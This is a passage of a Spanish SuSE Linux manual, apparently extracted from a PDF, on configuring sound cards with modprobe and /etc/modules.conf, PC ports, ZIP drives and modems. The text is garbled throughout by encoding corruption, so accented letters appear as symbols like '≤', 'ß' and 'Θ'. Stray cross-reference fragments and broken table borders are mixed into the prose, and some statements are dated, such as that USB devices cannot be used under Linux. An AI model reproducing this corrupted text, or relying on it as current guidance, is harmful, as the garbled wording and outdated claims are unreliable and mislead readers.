  18962.         #                    Minimum  IO  base  address  0x0620
  18963.         #                    Maximum  IO  base  address  0x0620
  18964.         #                    IO  base  alignment  1  bytes
  18965.         #                    Number  of  IO  addresses  required:  4
  18966.             (IO  0  (SIZE  4)  (BASE  0x0620))
  18967.             (IO  1  (BASE  0x0a20))
  18968.             (IO  2  (BASE  0x0e20))
  18969.  
  18970.         #        End  dependent  functions
  18971.           (NAME  "CTL009e/386849652[2]{WaveTable                 }")
  18972.             (ACT  Y)
  18973.         ))
  18974.         #  End  tag...  Checksum  0x00  (OK)
  18975.  
  18976.         #  Returns  all  cards  to  the  "Wait  for  Key"  state
  18977.         (WAITFORKEY)
  18978.  
  18979.     ~   Tarjetas de sonido tipo PCI-bus:
  18980.  
  18981.         La configuraci≤n de las tarjetas de sonido PCI es muy sencilla ya que
  18982.         la computadora las configura automßticamente y distribuye correcta-
  18983.         mente los recursos de las distintas tarjetas.  A travΘs de una interface
  18984.         por software, los drivers pueden consultar la configuraci≤n de las tar-
  18985.         jetas.
  18986.  
  18987. o   Instalaci≤n y carga de los m≤dulos:
  18988.  
  18989.     El  ·ltimo  paso  de  la  configuraci≤n  es  transmitir  informaci≤n  sobre  la
  18990.     configuraci≤n  del  hardware  a  los  m≤dulos.   Esto  se  consigue  mediante
  18991.     entradas en el fichero /etc/modules.conf.
  18992.  
  18993.     ~   Tarjetas ISA y PnP:
  18994.  
  18995.         SuSE      Linux  incorpora  m≤dulos  precompilados  para  las  tarjetas  que
  18996.         soporta  el  kernel,  los  cuales  se  encuentran  en  el  paquete  kernmod.
  18997.         DespuΘs  de  instalar  las  fuentes  del  kernel  (paquete  lx_suse)  el  di-
  18998.         rectorio /usr/src/linux/Documentation/sound contendrß infor-
  18999.         maci≤n acerca de los m≤dulos.
  19000.  
  19001.         En el fichero /etc/modules.conf hay que controlar que los ''alias''
  19002.         que  corresponden  a  ''Sound''  no  estΘn  en  off  .   Si  este  fuera  el  caso
  19003.  
  19004.  
  19005.                                                                                                                                    *
  19006.  * 295
  19007. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19008.  *_______________________________________@
  19009.  
  19010.  
  19011.  
  19012.                                      habrφa que comentar estos alias, anteponiendo el sφmbolo `#', tal co-
  19013.                                      mo se muestra en el fichero 10.3.1 en la pßgina 299Carga automßtica
  19014.                                      de los m≤dulos de kernelItem.199.
  19015.  
  19016.                                      Si se posee p. ej.   una tarjeta de la familia de las Soundblaster 16 ,  el
  19017.                                      comando de la siguiente lφnea sirve para cargar los drivers para todas
  19018.                                      las funciones de la tarjeta (audio, MPU401 y sintetizador):
  19019.                                      tierra:/  #  modprobe  sb  io=0x0220  irq=5  dma=1  dma16=5  mpu_io=0x0330
  19020.  
  19021.                                      El comando carga el driver para la Soundblaster 16, que se puede usar
  19022.                                      tambiΘn para la AWE64.  El driver para el MPU401 forma parte del
  19023.                                      driver de la Soundblaster.  Posteriormente se cargan automßticamente
  19024.                                      los m≤dulos uart401 , sound , soundlow  y soundcore .  Estos m≤dulos
  19025.                                      representan  algunos  drivers  de  bajo  nivel  y  contienen  las  funciones
  19026.                                      comunes de todos los m≤dulos de sonido. El siguiente comando,
  19027.                                          tierra:/  #  lsmod
  19028.  
  19029.                                      permite  verificar  si  todos  los  m≤dulos  estßn  realmente  cargados.   El
  19030.                                      siguiente comando carga el m≤dulo para el sintetizador que incluye la
  19031.                                      tarjeta:
  19032.                                          tierra:/  #  modprobe  adlib_card  io=0x0388
  19033.  
  19034.                                      Los drivers actualmente  disponibles se muestran en la tabla 10.1 en la
  19035.                                      pßgina siguiente.
  19036.  
  19037.                                      En el capφtulo sobre los parßmetros del kernel (apartado 14.3.4 en la
  19038.                                      pßgina 373Parßmetros de modprobe       subsection.14.3.4) hay una lista de
  19039.                                      los parßmetros admitidos para cada m≤dulo.
  19040.  
  19041.                              o   Tarjetas PCI
  19042.  
  19043.                                  A continuaci≤n las instrucciones por pasos para la configuraci≤n de tarje-
  19044.                                  tas PCI, tomando como ejemplo una Creative Soundblaster PCI 64/128:
  19045.  
  19046.                                  Las tarjetas de sonido Soundblaster PCI 64/128 estßn equipados con chips
  19047.                                  del tipo Ensoniq ES1370 o ES1371.
  19048.  
  19049.                                  1.  Compruebe el serigrafiado de los chips para confirmar que se trata de
  19050.                                      chips del tipo ES1370 o ES1371. Instale la tarjeta en la computadora;-
  19051.                                      )
  19052.  
  19053.                                  2.  Modifique /etc/modules.conf. Alrededor de la lφnea 38 se encuen-
  19054.                                      tran las siguientes entradas:
  19055.                                      alias  char-major-14  off
  19056.                                      alias  sound  off
  19057.                                      alias  midi  off
  19058.  
  19059.                                      Modifique estas lφneas de la siguiente manera:
  19060.                                      #  alias  char-major-14  off
  19061.                                      #  alias  sound  off
  19062.                                      #  alias  midi  off
  19063.  
  19064.                                      A partir de la lφnea 100 comienza la configuraci≤n de los m≤dulos para
  19065.                                      la tarjeta de sonido. Debe cambiar:
  19066.  
  19067.                                      #  alias  char-major-14  es1370
  19068.  
  19069.  
  19070.                                      a
  19071.  
  19072.  
  19073. 296
  19074.     ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido________*
  19075.  *___________________
  19076.  
  19077.     _______________________________________________________________________________________________________________________
  19078.  
  19079.  
  19080. ad1816.o                           AD1816 Chip (p. ej.  TerraTec Base1/64)
  19081. ad1848.o                           AD1848 Chip (MSS)
  19082. adlib_card.o                       Driver genΘrico para OPLx
  19083. cmipci.o                           CMI8338, experimental (?)
  19084. cs4232.o                           Crystal 423x chipsets
  19085. es1370.o                           Ensoniq 1370 chipset (ver PCI64/128)
  19086. es1371.o                           Creative Ensoniq 1371 chipset (ver PCI64/128)
  19087. esssolo1.o                         Solo1 ES1938/ES1969
  19088. gus.o                              Gravis Ultrasound
  19089. mad16.o                            MAD16
  19090. maui.o                             Turtle Beach Maui and Tropez
  19091. mpu401.o                           MPU401
  19092. msnd.o                             Turtle Beach MultiSound
  19093. msnd_classic.o                     Turtle Beach Classic/Monterey/Tahiti
  19094. msnd_pinnacle.o                    Turtle Beach Pinnacle/Fiji
  19095. nm256.o                            Neo Magic
  19096. opl3.o                             OPL3
  19097. opl3sa.o                           OPL3-SA1
  19098. opl3sa2.o                          YMF711,    YMF715,    YMF719,    OPL3-SA2,
  19099.                                    OPL3-SA3, OPL3-SAx
  19100. pas2.o                             Pro Audio Spectrum
  19101. pss.o                              Personal Sound System (ECHO ESC614)
  19102. sb.o                               Sound Blaster y cl≤nicos
  19103. sgalaxy.o                          Aztech Sound Galaxy
  19104. softoss2.o                         Driver de Software-MIDI-sintetizador
  19105. sonicvibes.o                       S3 Sonic Vibes
  19106. sound.o                            Funciones necesarias para todos los m≤dulos
  19107. soundlow.o                         Lowlevel-sounddriver
  19108. soundcore.o                        Top Level-Handler para sistema de sonido
  19109. sscape.o                           Ensoniq SoundScape
  19110. trix.o                             MediaTrix AudioTrix Pro
  19111. uart401.o                          UART401
  19112. uart6850.o                         UART6850
  19113. v_midi.o                           Sound Blaster DSP chips
  19114. wavefront.o                        Turtle Beach Maui, Tropez, Tropez Plus
  19115.  
  19116.     _______________________________________________________________________________________________________________________
  19117.  
  19118.               Tabla 10.1: Lista de los drivers para tarjetas de sonido
  19119.  
  19120.  
  19121.  
  19122.        alias  char-major-14  es1370
  19123.  
  19124.  
  19125.        quitando el sφmbolo de comentario.
  19126.  
  19127.        Si el chip de la tarjeta es un ES1371 proceda de manera similar, con
  19128.        la diferencia de editar la siguiente entrada para el m≤dulo es1371.o
  19129.        (aquφ no se observa este paso).
  19130.  
  19131.    3.  Inicie el mezclador de sonido.
  19132.  
  19133.        El comando lsmod      debe resultar ahora en:
  19134.  
  19135.  
  19136.                                                                                                                                    *
  19137.  *297
  19138. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19139.  *_______________________________________@
  19140.  
  19141.                            ________________________________________________________________________________________________________*
  19142.  *________
  19143.                            | Module                                         Size    Used  by                                       *
  19144.  *         |
  19145.                            |                                                                                                       *
  19146.  *         |
  19147.                            | es1370                                         21748       1  (autoclean)                             *
  19148.  *         |
  19149.                            | soundcore                                      2084       4  (autoclean)  [es1370]                    *
  19150.  *         |
  19151.                            | ...                                                                                                   *
  19152.  *         |
  19153.                            |_______________________________________________________________________________________________________*
  19154.  *________ |
  19155.  
  19156.                                         Mensaje en pantalla 10.3.1: Resultado del comando lsmod
  19157.  
  19158.  
  19159.  
  19160.                                  4.  Si  esto  no  funciona  en  el  primer  momento,  intente  nuevamente  con
  19161.                                      depmod  -a        nochmal.
  19162.  
  19163.                                  5.  Ahora puede usar kscd, x11amp u otro programa parecido para hacer
  19164.                                      sonar la computadora.
  19165.                                      Es  IMPRESCINDIBLE  tener  en  cuenta  el  ajuste  del  mezclador,  ya
  19166.                                      que por mßs que se use un driver de sonido, Θste no sirve si todos los
  19167.                                      canales estßn en volumen cero;-)
  19168.  
  19169.                                  KDE  no  reconoce  automßticamente  las  tarjetas  que  usan  el  m≤dulo
  19170.                                  es1370.o o es1371.o, porque estos m≤dulos no ponen a disposici≤n el
  19171.                                  fichero  de  dispositivo  /dev/sndstat.  Para  conseguir  sonido  en  el  en-
  19172.                                  torno KDE es necesario modificar el fichero /opt/kde/bin/startkde
  19173.                                  en la siguiente forma:
  19174.  
  19175.                                  Hay que buscar las lφneas
  19176.                                  startifaudio  kaudioserver
  19177.                                  startifaudio  kwmsound
  19178.  
  19179.                                  y modificarlas a
  19180.                                  kaudioserver  &
  19181.                                  kwmsound  &
  19182.  
  19183.                                  La  tarjeta  de  sonido  Creative  Soundblaster  Live!   estß  soportada  por
  19184.                                  un  driver  especial  desarrollado  por  Creative  Labs.   Para  usarlo  se  in-
  19185.                                  stala con YaST  el paquete emu10k1 de la serie snd.  Las instrucciones
  19186.                                  adicionales se encuentran en el fichero /usr/doc/packages/emu10k1/
  19187.                                  README.SuSE.
  19188.  
  19189.  
  19190.                            Comprobar que todo funcione:
  19191.  
  19192.                            Todos los m≤dulos estßn cargados y ahora se quiere comprobar si realmente
  19193.                            se reproduce el sonido.  Para ello se usa el siguiente comando (despuΘs de la
  19194.                            carga del m≤dulo de sonido):
  19195.  
  19196.                                  tierra:/  #  cat  /dev/sndstat
  19197.  
  19198.                            En  el  caso  de  la  Soundblaster  16  el  resultado  debe  parecerse  al  salida  en
  19199.                            pantalla 10.3.2 en la pßgina siguiente.
  19200.  
  19201.                            Si realmente se obtiene una respuesta semejante, se puede tratar de reproducir
  19202.                            un fichero de audio (hay algunos de estos ficheros p. ej.  en la serie snd del
  19203.                            paquete snd_au, paquete snd_wav y paquete snd_mod):
  19204.  
  19205.                                  tierra:/  #  cat  /usr/share/sounds/au/swedish.au  >  /dev/audio
  19206.                                  tierra:/  #  cat  /usr/share/sounds/wav/applause.wav  >  /dev/dsp
  19207.                                  tierra:/  #  tracker  /usr/share/sounds/mod/rebels.mod
  19208.                            El programa kmid de KDE permite reproducir c≤modamente ficheros del tipo
  19209.                            Midi, en caso de que la tarjeta lo soporte.
  19210.  
  19211.  
  19212. 298
  19213.        _______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________*
  19214.  *______________________
  19215.  
  19216.        _______________________________________________________________________________________________________________________||
  19217.        |||||||| [...]                                                                                                          |
  19218.        |||||||||Audio  devices:                                                                                                ||
  19219.        |||||||| 0:  Sound  Blaster  16  (4.13)  (DUPLEX)                                                                       |
  19220.        |||||||| Synth  devices:                                                                                                |
  19221.        ||||||||                                                                                                                |
  19222.        |||||||| 0:  Yamaha  OPL3                                                                                               |
  19223.        |||||||| Midi  devices:                                                                                                 |
  19224.        ||||||||                                                                                                                |
  19225.        |||||||| 0:  Sound  Blaster  16                                                                                         |
  19226.        |||||||| Timers:                                                                                                        |
  19227.        ||||||||                                                                                                                |
  19228.        |||||||| 0:  System  clock                                                                                              |
  19229.        |||||||| Mixers:                                                                                                        |
  19230.        |||||||| 0:  Sound  Blaster                                                                                             |
  19231.        ||||||||_______________________________________________________________________________________________________________ |
  19232.  
  19233.    Mensaje en pantalla 10.3.2: Resultado del comando cat  /dev/sndstat
  19234.  
  19235.  
  19236.  
  19237. Si no se escucha nada, aunque cat  /dev/sndstat              muestra un resultado cor-
  19238. recto y cat  mysong.au  >  /dev/audio                      no presenta ning·n error, se puede
  19239. tratar de iniciar el mezclador de audio del panel de KDE; tambiΘn es posible
  19240. que el volumen estΘ un poco bajo.
  19241.  
  19242.  
  19243. Carga automßtica de los m≤dulos de kernel
  19244.  
  19245. Si no hay duda en que los drivers existentes soportan completamente la tarje-
  19246. ta, se puede proceder a modificar el fichero /etc/conf.modules, para que
  19247. los m≤dulos se carguen automßticamente.  Para la Soundblaster 16 se tendrφa
  19248. que poner p. ej.  las entradas que figuran en el fichero 10.3.1.
  19249.  
  19250.        _______________________________________________________________________________________________________________________||
  19251.        |||||||| #  alias  char-major-14  off                                                                                   |
  19252.        |||||||| #  alias  sound  off                                                                                           |
  19253.        ||||||||                                                                                                                |
  19254.        |||||||| #  alias  midi  off                                                                                            |
  19255.        ||||||||                                                                                                                |
  19256.        ||||||||                                                                                                                |
  19257.        |||||||| alias  char-major-14  sb                                                                                       |
  19258.        |||||||| post-install  sb  /sbin/modprobe  "-k"  "adlib_card"                                                           |
  19259.        ||||||||                                                                                                                |
  19260.        |||||||| options  sb  io=0x0220  irq=7  dma=1  dma16=5  mpu_io=0x0330                                                   |
  19261.        |||||||| options  adlib_card  io=0x0388         #  FM  synthesizer                                                      |
  19262.        ||||||||_______________________________________________________________________________________________________________ |
  19263.  
  19264.   Fichero 10.3.1: /etc/conf.modules                : Opciones para m≤dulos de sonido
  19265.  
  19266.  
  19267. En  general  no  hay  ninguna  regla  que  diga  cußl  tarjeta  de  sonido  tiene  cußl
  19268. funci≤n, por lo tanto se debe averiguar esto en la documentaci≤n de la tarje-
  19269. ta y con la informaci≤n en /usr/src/linux/Documentation/sound para
  19270. saber cußles m≤dulos hace falta cargar.  Las fuentes de los drivers en /usr/
  19271. src/linux/drivers/sound contienen muchos consejos y actualmente ex-
  19272. isten muchas entradas predefinidas en /etc/conf.modules que se pueden
  19273. usar y adaptar.
  19274.  
  19275. En lugar de cargar los m≤dulos mediante /etc/conf.modules,  se pueden
  19276. cargar tambiΘn incorporando los comandos modprobe         en el fichero /sbin/
  19277. init.d/boot.local (ver apartado 17.4 en la pßgina 434Los Init-scriptssection.17.4).
  19278.  
  19279.  
  19280.  
  19281. 10.4        Las interfaces de la computadora
  19282.  
  19283.  
  19284.  
  19285.                                                                                                                                    *
  19286.  *   299
  19287. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19288.  *_______________________________________@
  19289.  
  19290.  
  19291.  
  19292.                            10.4.1       Conexiones PS/2
  19293.                            Las conexiones del tipo PS/2 fueron desarrolladas por IBM para sus sistemas
  19294.  
  19295.                            PS/2.  Ultimamente se han extendido debido al estßndar ATX y estßn desti-
  19296.                            nadas a la conexi≤n de teclado y mouse.
  19297.  
  19298.                            Bajo  Linux  no  hace  falta  configurar  las  conexiones  PS/2  ya  que  el  soporte
  19299.                            para  ello  estß  incorporado  en  el  kernel.   Linux  reconoce  automßticamente
  19300.                            los dispositivos con conexi≤n PS/2 y los representa mediante los ficheros de
  19301.                            dispositivo path/dev/kbd y /dev/psaux.
  19302.  
  19303.  
  19304.                            10.4.2       Conexiones de puerto serie
  19305.  
  19306.                            Los puertos serie (RS232) se utilizan con frecuencia para modems externos,
  19307.                            pero sirven tambiΘn para la conexi≤n de un mouse con esta interface.
  19308.  
  19309.                            Para soportar estos puertos, Linux necesita el m≤dulo de kernel serial.o.
  19310.                            Este m≤dulo se carga automßticamente cuando se pretende acceder a dispos-
  19311.                            itivos que usan esta conexi≤n.  Si p. ej.  el acceso a Internet estß configurado
  19312.                            con un modem en COM1    , el m≤dulo se carga automßticamente en el momento
  19313.                            de establecer la conexi≤n al proveedor.
  19314.  
  19315.                            El programa setserial  permite modificar la configuraci≤n del puerto serie y
  19316.                            de hecho se ejecuta en cada arranque de sistema por medio del script /sbin/
  19317.                            init.d. La pßgina de manual de setserial expone detalles sobre el programa.
  19318.                            Los puertos serie se representan por los fichero de dispositivo /dev/ttyS0,
  19319.                            /dev/ttyS1, etc.
  19320.  
  19321.  
  19322.                            10.4.3       Conexiones de puerto paralelo
  19323.  
  19324.                            El  puerto  paralelo  se  usa  sobre  todo  para  la  conexi≤n  de  impresoras,  pero
  19325.                            tambiΘn sirve para conectar unidades externas como ZIP o lectores CD-Rom.
  19326.  
  19327.                            El sub-sistema ''Parport'' del kernel actual, versi≤n 2.2.xx, estß dise±ado para
  19328.                            utilizar varios dispositivos simultßneamente en el puerto paralelo1 . Una apli-
  19329.                            caci≤n es p. ej.  una cadena formada por una unidad iomega ZIP y una impre-
  19330.                            sora, con la impresora conectada al ZIP.
  19331.  
  19332.  
  19333.                            Inicializar parport
  19334.  
  19335.                            Se necesitan los soportes parport        y parport_pc          del kernel2 .  El verdadero
  19336.                            sub-sistema del kernel es parport       , mientras que parport_pc          se encarga de
  19337.                            la integraci≤n del puerto paralelo en el PC, encargßndose tambiΘn de algunas
  19338.                            computadoras AXP. El comando
  19339.  
  19340.                                  tierra:  #  modprobe  parport_pc
  19341.  
  19342.                            permite cargar los m≤dulos manualmente.  Para comprobar si el puerto fue
  19343.                            encontrado y configurado,  use el comando lsmod     ;  en la lista de los m≤du-
  19344.                            los  cargados  deben  aparecer  parport       y  parport_pc         .  TambiΘn  es  posible
  19345.                            repasar el fichero /var/log/messages para ver los valores con los que se
  19346.                            inicializ≤_parport_______(ver_fichero_10.4.1_en la pßgina siguiente).
  19347.                            1  Con el kernel ''antiguo'' solo se puede usar un dispositivo en un mismo instante en un puerto
  19348.                            paralelo; normalmente tampoco se pueden colocar los dispositivos en cadena.
  19349.                            2 íNo hace falta compilar un kernel propio, ya que SuSE   Linux incorpora los m≤dulos precom-
  19350.                            pilados!
  19351.  
  19352.  
  19353. 300
  19354.        _______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________*
  19355.  *______________________
  19356.  
  19357.        _______________________________________________________________________________________________________________________||
  19358.  
  19359.        |||||||| Jun    3  09:15:53  tux  kernel:  parport0:  PC-style  at  0x378  [SPP,                                        |
  19360.        |||||||||__________________________________________________________________________________________________ECP]________ ||
  19361.  
  19362.  
  19363.         Fichero 10.4.1: /var/log/messages                : Inicializaci≤n del parport
  19364.  
  19365.  
  19366.  
  19367. Las  entradas  en  el  fichero  10.4.2,  representan  la  configuraci≤n  de  la  inter-
  19368. faz;  las entradas deshabilitadas por el sφmbolo de comentario indican c≤mo
  19369. incorporar un puerto paralelo adicional.
  19370.  
  19371.        _______________________________________________________________________________________________________________________||
  19372.        |||||||| alias  parport_lowlevel       parport_pc                                                                       |
  19373.        |||||||| options  parport_pc  io=0x378  irq=none                                                                        |
  19374.        ||||||||                                                                                                                |
  19375.        ||||||||                                                                                                                |
  19376.        |||||||| #  If  you  have  multiple  parallel  ports,  specify  them  this  way:                                        |
  19377.        |||||||| #  options  parport_pc  io=0x378,0x278    irq=none,none                                                        |
  19378.        ||||||||_______________________________________________________________________________________________________________ |
  19379.  
  19380.         Fichero 10.4.2: /etc/conf.modules                : Configuraci≤n de parport
  19381.  
  19382.  
  19383.        _______________________________________________________________________________________________________________________||
  19384.        ||||||||  Si se presenta alguna dificultad lo mejor es comprobar primero c≤mo estß                       |||            |
  19385.        ||||||||                                                                                                 ||             |
  19386.        ||||||||  definido el puerto en la BIOS. Este deberφa tener una direcci≤n de memoria                     ||             |
  19387.        ||||||||  explφcita (lo mejor es 0x378     ) y una interrupci≤n propia.  En lo posible se                ||             |
  19388.        ||||||||                                                                                                 ||             |
  19389.        ||||||||  deben evitar ajustes del tipo ''auto''.                                                        ||             |
  19390.        ||||||||_______________________________________________________________________________________________________________||_
  19391.  
  19392. Algunas veces es importante el orden en el cual se encienden los dispositivos
  19393. (consultar  los  manuales  de  los  aparatos).   Un  buen  procedimiento  es  el  de
  19394. encender primero la computadora e inmediatamente despuΘs ~ antes de que
  19395. comience el arranque ~ los dispositivos externos.
  19396.  
  19397.  
  19398. Usar parport       : Impresora, unidad ZIP, PLIP etc.
  19399.  
  19400. Para  usar  entonces  un  dispositivo  conectado  al  puerto  paralelo,  es  preciso
  19401. cargar el m≤dulo correspondiente;  en el caso de la impresora es el m≤dulo
  19402. lp  :
  19403.  
  19404.       tierra:  #  modprobe  lp
  19405.  
  19406. Ahora  el  comando  lsmod     deberφa  resultar  como  aparece  en  el  Mensaje  en
  19407. pantalla 10.4.1
  19408.  
  19409.        _______________________________________________________________________________________________________________________
  19410.        |||||||| parport_pc                        5568     1    (autoclean)                                                    |
  19411.        ||||||||                                                                                                                |
  19412.        |||||||| parport                             6884     1    [parport_pc  lp]                                             |
  19413.        |||||||| lp                                      5116     0    (unused)                                                 |
  19414.        ||||||||_______________________________________________________________________________________________________________ |
  19415.  
  19416.              Mensaje en pantalla 10.4.1: Resultado del comando lsmod     .
  19417.  
  19418.  
  19419. TambiΘn  para  la  carga  de  los  m≤dulos  es  posible  conseguir  mßs  informa-
  19420. ci≤n  mediante  las  entradas  en  el  fichero  /var/log/messages  y  en  el  sis-
  19421. tema  de  ficheros  proc     bajo  /proc/parport.   Si  todo  funciona  correcta-
  19422. mente,  (ver  el  apartado  13.2  en  la  pßgina  351Kmod  ~  el  ''Kernel  Module
  19423. Loader''section.13.2), kmod  se ocupa de cargar automßticamente los m≤du-
  19424. los, p. ej.  cuando se lanza una tarea de impresi≤n, asφ que no hace falta car-
  19425. garlos manualmente.
  19426.  
  19427.  
  19428.                                                                                                                                    *
  19429.  *   301
  19430. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19431.  *_______________________________________@
  19432.  
  19433.  
  19434.  
  19435.                            Las unidades iomega-ZIP funcionan ya sea con el m≤dulo ppa   o bien con imm
  19436.                            (ver el apartado 10.5.3 en la pßgina siguiente).
  19437.  
  19438.  
  19439.                            Informaci≤n adicional
  19440.  
  19441.                            Los ficheros parport.txt y paride.txt del directorio /usr/src/linux/
  19442.                            Documentation  en  las  fuentes  del  kernel,  ofrecen  mßs  informaci≤n  al  re-
  19443.                            specto.
  19444.  
  19445.                            Bajo http://www.torque.net/linux-pp.html o http://www.torque.
  19446.                            net/parport/, hay informaci≤n sobre el estado actual del parport       .
  19447.  
  19448.  
  19449.                            10.4.4       USB ~ Universal Serial Bus
  19450.  
  19451.                            El USB (Universal Serial Bus) es una de las grandes novedades de los ·ltimos
  19452.                            a±os.  Es  posible  conectar  muchos  dispositivos  como  p. ej.  teclado,  mouse,
  19453.                            impresora o escßner de forma sencilla.  Todos los dispositivos tienen el mis-
  19454.                            mo  enchufe  y  se  conectan  con  el  mismo  cable.   Asφ  se  evita  tener  muchos
  19455.                            cables  diferentes  como  RS232  o  Centronics.   Ademßs  es  posible  conectar
  19456.                            dispositivos durante el uso de la computadora sin necesidad de reiniciar;  la
  19457.                            especificaci≤n del bus ya contempla esta posibilidad.
  19458.  
  19459.                            Lamentablemente el soporte de USB a·n no estß desarrollado por completo
  19460.                            para Linux.  Por eso no es posible usar dispositivos del tipo USB en Linux.
  19461.                            Bajo http://www.linux-usb.org/ se encuentra mßs informaci≤n sobre la
  19462.                            implementaci≤n de USB en Linux.
  19463.  
  19464.  
  19465.  
  19466.                            10.5        Unidades de almacenamiento removibles
  19467.  
  19468.  
  19469.                            Con  Linux  se  pueden  usar  muchas  unidades  de  disco  removibles:   Dis-
  19470.                            queteras,   Unidades  iomega-Zip,   JAZ-Drives,   discos  SyQuest,   unidades
  19471.                            magneto-≤pticas ~ todo es posible.
  19472.  
  19473.  
  19474.                            10.5.1       Disqueteras
  19475.  
  19476.                            Para  poder  acceder  c≤modamente  a  diquetes  formateados  en  MS-DOS,  se
  19477.                            desarroll≤ el paquete mtools.  El apartado 19.12 en la pßgina 486Comandos
  19478.                            DOS bajo Unix usando mtools section.19.12, informa sobre las posibilidades
  19479.                            y el uso de estos programas.
  19480.  
  19481.                            Los disquetes en formato ext2     o minix      tambiΘn se pueden usar,  tal como
  19482.                            muchos  otros  sistemas  de  fichero.  Es  preciso  incorporar  estos  disquetes  al
  19483.                            sistema  de  ficheros  mediante  el  comando  mount ;  hay  mßs  detalles  en  el
  19484.                            apartado  19.11  en  la  pßgina  484Sistemas  de  fichero  en  Linux  ~  mount      y
  19485.                            umount      section.19.11.
  19486.  
  19487.  
  19488.                            10.5.2       Disqueteras LS-120
  19489.  
  19490.                            Las disquetera del tipo LS-120 se conectan a la controladora IDE y por tanto
  19491.                            el sistema las trata como discos duros. Hay que incorporarlas al igual que los
  19492.                            discos duros con el comando mount  al sistema de ficheros.
  19493.  
  19494.  
  19495. 302
  19496.        ___________________________________________________________10.5.__Unidades_de_almacenamiento_removibles_____________________*
  19497.  *______________________
  19498.  
  19499.  
  19500.  
  19501. 10.5.3       Disqueteras ZIP
  19502.  
  19503. Hay disqueteras ZIP para distintas interfaces:  Puerto paralelo, IDE, SCSI y
  19504. ahora tambiΘn para el USB (actualmente  a·n no estß soportado).
  19505.  
  19506. No se requiere ning·n driver especial para los ZIPs del tipo SCSI o IDE; se
  19507. conectan al bus correspondiente y los drivers para IDE o SCSI las reconocen.
  19508. DespuΘs se accede a los dispositivos a travΘs de los ficheros de dispositivo
  19509.  
  19510. /dev/hda  -  /dev/hdd  para  IDE  (ATAPI)
  19511.  
  19512.  
  19513.  
  19514. y
  19515.  
  19516. /dev/sda  -  /dev/sdm  para  SCSI
  19517.  
  19518.  
  19519.  
  19520. En este caso tambiΘn hay que usar mount  para montar los dispositivos.
  19521.  
  19522. La inicializaci≤n del mismo aparato con interfaz de puerto paralelo a veces
  19523. resulta  un  poco  mßs  complicada,  ya  que  se  necesita  el  soporte  de  discos
  19524. duros  SCSI,  el  soporte  parport       y  parport_pc          (ver  el  apartado  10.4.3  en
  19525. la pßgina 300Conexiones de puerto paralelosubsection.10.4.3) tal como los
  19526. drivers de kernel ppa    y imm   3 .  imm    soporta las unidades mßs recientes (p. ej.
  19527. el ZIP 250), por lo tanto es preferible tratar de cargar primero imm   .  Asegure
  19528. que  el  modo  de  trabajo  del  puerto  paralelo  estΘ  configurado  como  EPP    (a
  19529. configurar en la BIOS):
  19530.  
  19531.       tierra:  #  modprobe  imm
  19532.  
  19533. Si esto no funciona, se puede probar con ppa   :
  19534.  
  19535.       tierra:  #  modprobe  ppa
  19536.  
  19537. De  esta  forma  el  sub-sistema  parport         deberφa  inicializarse  automßti-
  19538. camente.    Si  no  funciona,  consulte  primero  en  la  pßgina  300Inicializar
  19539. parport       Hfootnote.47.
  19540.  
  19541. A  veces  una  entrada  en  /etc/conf.modules  es  suficiente  para  que  to-
  19542. do  funcione  (ver  fichero  10.5.1).    Solo  se  puede  definir  un  alias      para
  19543. scsi_hostadapter                si  la  computadora  no  tiene  ninguna  controladora  SC-
  19544. SI real.  Una alternativa serφa incorporar los comandos modprobe         necesarios
  19545. en el script de arranque /sbin/init.d/boot.local (ver el apartado 17.4
  19546. en la pßgina 434Los Init-scriptssection.17.4).
  19547.  
  19548.        _______________________________________________________________________________________________________________________||
  19549.  
  19550.        |||||||| #  alias  scsi_hostadapter  ppa                                                                                |
  19551.        |||||||| pre-install  ppa  modprobe  "-k"  parport_pc                                                                   |
  19552.        ||||||||_______________________________________________________________________________________________________________ |
  19553.  
  19554.              Fichero 10.5.1: /etc/conf.modules                : Configuraci≤n ppa
  19555.  
  19556.  
  19557. Ahora se puede acceder a los disquetes ZIP asφ como a discos duros SCSI, por
  19558. lo tanto tambiΘn es necesario montar este medio (ver el apartado 19.11.2 en la
  19559. pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2).
  19560.  
  19561. 3      ____________________________________________________
  19562.    ppa   y imm   forman parte de los ''SCSI low-level drivers'' en el men· de configuraci≤n del
  19563. kernel, sin embargo no hace falta generar un kernel propio, ya que los m≤dulos necesarios estßn
  19564. precompilados como parte de SuSE   Linux.
  19565.  
  19566.  
  19567.                                                                                                                                    *
  19568.  *   303
  19569. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19570.  *_______________________________________@
  19571.  
  19572.  
  19573.  
  19574.                            10.6        Modems
  19575.  
  19576.  
  19577.                            10.6.1       Modem externo
  19578.  
  19579.  
  19580.                            Los modems externos se conectan directamente al puerto serie de la computa-
  19581.                            dora.  Los programas se comunican entonces con el modem a travΘs de uno
  19582.                            de los ficheros de dispositivo /dev/ttyS0,  /dev/ttyS1,  etc.  La configu-
  19583.                            raci≤n del acceso a Internet con un modem se detalla en el apartado 6.5 en la
  19584.                            pßgina 189Conexi≤n de modemsection.6.5.
  19585.  
  19586.  
  19587.  
  19588.                            10.6.2       Modem interno
  19589.  
  19590.  
  19591.                            Los modem internos se conectan bien con el bus PCI o bien con el bus ISA, asφ
  19592.                            como se explica con mßs detalle en el apartado 10.2 en la pßgina 287Tarjetas
  19593.                            de expansi≤nsection.10.2.
  19594.  
  19595.                            Como  los  modems  en  general  se  controlan  por  medio  de  un  puerto  serie,
  19596.                            tambiΘn aquellos del tipo interno tienen que proporcionar un puerto serie.
  19597.  
  19598.                            La tabla 10.2 muestra un resumen de los recursos estßndar para puertos serie.
  19599.  
  19600.                            ________________________________________________________________________________________________________*
  19601.  *__________
  19602.                            |__Fichero_de_dispositivo__|_____________Nombre__|________Interupci≤n__|________Direcci≤n_E/S___________*
  19603.  *__________|_
  19604.  
  19605.                            |__/dev/ttyS0_________________|__________COM1__________|__4___________________|_0x3f8___________________*
  19606.  *__________|
  19607.                            |__/dev/ttyS1_________________|__________COM2__________|__3___________________|_0x2f8___________________*
  19608.  *__________|
  19609.                            |__/dev/ttyS2_________________|__________COM3__________|__4___________________|_0x3e8___________________*
  19610.  *__________|
